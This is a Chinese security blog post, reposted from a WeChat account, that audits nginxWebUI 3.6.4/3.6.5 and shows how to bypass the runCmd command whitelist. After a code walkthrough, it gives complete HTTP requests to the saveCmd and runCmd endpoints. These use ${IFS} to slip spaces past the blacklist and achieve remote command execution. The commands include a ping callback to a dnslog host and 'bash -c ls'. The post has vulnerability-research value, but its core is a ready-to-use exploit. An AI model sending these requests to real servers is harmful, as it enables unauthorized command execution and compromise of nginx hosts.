nginxWebUI 3.6.5版本审计与绕过

admin 2024年10月13日18:38:58评论17 views字数 2646阅读8分49秒阅读模式
概述

nginxWebUI runCmd远程命令执行漏洞时间线:

- 519官方发布新版本3.5.2)修复漏洞

- 526日漏洞细节在安全社区(火线)公开披露

- 629 官方发布3.6.2 3.6.3进一步修复runCmd远程命令执行漏洞

- 630 官方发布3.6.4 进一步修复runCmd远程命令执行漏洞

- 711 官方发布3.6.6 进一步修复runCmd远程命令执行漏洞
目前已跟进版本:
nginxWebUI 3.6.5版本审计与绕过

3.4.7-3.6.3版本代码分析参考上一篇。

3.6.4版本审计

定位到命令执行接口:nginxWebUI-3.6.4srcmainjavacomcymcontrolleradminPageConfController.java 330行

nginxWebUI 3.6.5版本审计与绕过

在这里runcmd接收2个参数:cmd和type。先检查type是否为空,不为空则调用settingService.set(type, cmd)使用配置文件的相关配置:

nginxWebUI 3.6.5版本审计与绕过

然后使用了if (!isAvailableCmd(cmd)) ,检查cmd是否为有效的命令

nginxWebUI 3.6.5版本审计与绕过

跟一下!isAvailableCmd:366行

nginxWebUI 3.6.5版本审计与绕过

一个布尔类型私有方法,检查cmd参数是否有效,过滤了获取的所有路径,检查命令是否属于以下命令:

  • "pkill nginx"
  • "taskkill /f /im nginx.exe"
  • "systemctl stop nginx"
  • "service nginx stop"
  • "net stop nginx"
  • "systemctl start nginx"
  • "service nginx start"
  • "net start nginx"

符合返回true,否则返回false,并返回错误信息。然后将传入的值进行处理,并且与nginxEXE参数进行判断是否相等,即将命令与nginx 服务端执行的命令进行对比。

随后回到runcmd方法:然后是一个判断系统为win或者linux,调用不同的系统命令。

nginxWebUI 3.6.5版本审计与绕过

然后对结果进行非空判断和内容正则。

nginxWebUI 3.6.5版本审计与绕过
3.6.4漏洞构造

根据前文代码的分析,要继续构造命令执行,就必须传入cmd参数,且绕过isAvailableCmd中对 nginxDir和nginxExe的校验。

我们找到了处理这两个参数的saveCmd方法:272行

nginxWebUI 3.6.5版本审计与绕过

该方法接收三个参数nginxPath、nginxExe和nginxDir,在方法内部调用ToolUtils.handlePath进行过滤处理,即黑名单的方式对以下空格和符号进行转义替换。

nginxWebUI 3.6.5版本审计与绕过
尝试绕过

在linux下,linux把${IFS}会被当做空格:

nginxWebUI 3.6.5版本审计与绕过

访问nginxweibui

nginxWebUI 3.6.5版本审计与绕过

配置nginxExe参数:即将isAvailableCmd中的nginxExe预设成我们将要执行的命令。

nginxWebUI 3.6.5版本审计与绕过
POST /adminPage/conf/saveCmd HTTP/1.1Host: x.x.x.x:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 47Origin: http://x.x.x.x:8080DNT: 1Connection: closeReferer: http://x.x.x.x:8080/adminPage/conf/runCmdCookie:SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911nginxExe=ping${IFS}22dck7.dnslog.cn&nginxPath=1

命令执行:

nginxWebUI 3.6.5版本审计与绕过
POST /adminPage/conf/runCmd HTTP/1.1Host: x.x.x.x:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 35Origin: http://x.x.x.x:8080DNT: 1Connection: closeReferer: http://x.x.x.x:8080/adminPage/conf/runCmdCookie: SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911cmd=ping${IFS}22dck7.dnslog.cn -c 1

Dnslog返回成功。

nginxWebUI 3.6.5版本审计与绕过

其他命令:

POST /adminPage/conf/saveCmd HTTP/1.1Host: xxxnginxExe=bash${IFS}&nginxPath=ls
POST /adminPage/conf/runCmd HTTP/1.1Host: xxxxcmd=bash${IFS} -c ls

nginxWebUI 3.6.5版本审计与绕过

原文始发于微信公众号(第59号):nginxWebUI 3.6.5版本审计与绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日18:38:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nginxWebUI 3.6.5版本审计与绕过https://cn-sec.com/archives/1987233.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息